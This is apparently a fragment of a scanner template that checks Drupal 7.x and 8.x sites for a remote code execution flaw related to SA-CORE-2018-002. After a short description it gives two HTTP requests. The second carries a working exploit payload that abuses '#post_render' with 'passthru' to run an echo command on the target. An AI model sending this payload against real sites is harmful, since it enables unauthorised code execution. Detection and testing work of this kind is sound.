description:A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result
in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.
GET /?q={{url_encode("{{userid}}")}}%2Fcancel HTTP/1.1
Host:{{Hostname}}
- |
POST /?q={{url_encode("{{userid}}")}}%2Fcancel&destination={{url_encode("{{userid}}")}}%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3Decho+COP-2067-8102-EVC+|+rev HTTP/1.1